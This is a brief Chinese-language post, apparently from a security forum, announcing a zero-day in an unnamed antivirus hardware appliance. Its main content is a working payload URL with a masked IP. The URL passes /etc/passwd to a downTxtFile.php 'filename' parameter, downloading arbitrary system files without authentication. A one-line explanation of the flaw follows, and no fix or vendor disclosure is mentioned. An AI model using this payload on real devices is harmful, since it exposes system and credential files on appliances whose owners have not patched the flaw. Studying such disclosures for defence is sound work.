某安全设备未受权访问+任意文件下载0day

具体是哪家就不说了，硬件盒子，主要检测病毒。

payload以下：

 https://xxx.xxx.xxx.xxx/downTxtFile.php?filename=/etc/passwd

 

比较简单，当时有获取报告的功能，本身传入的物理路径，能够未受权访问直接下载设备上的文件。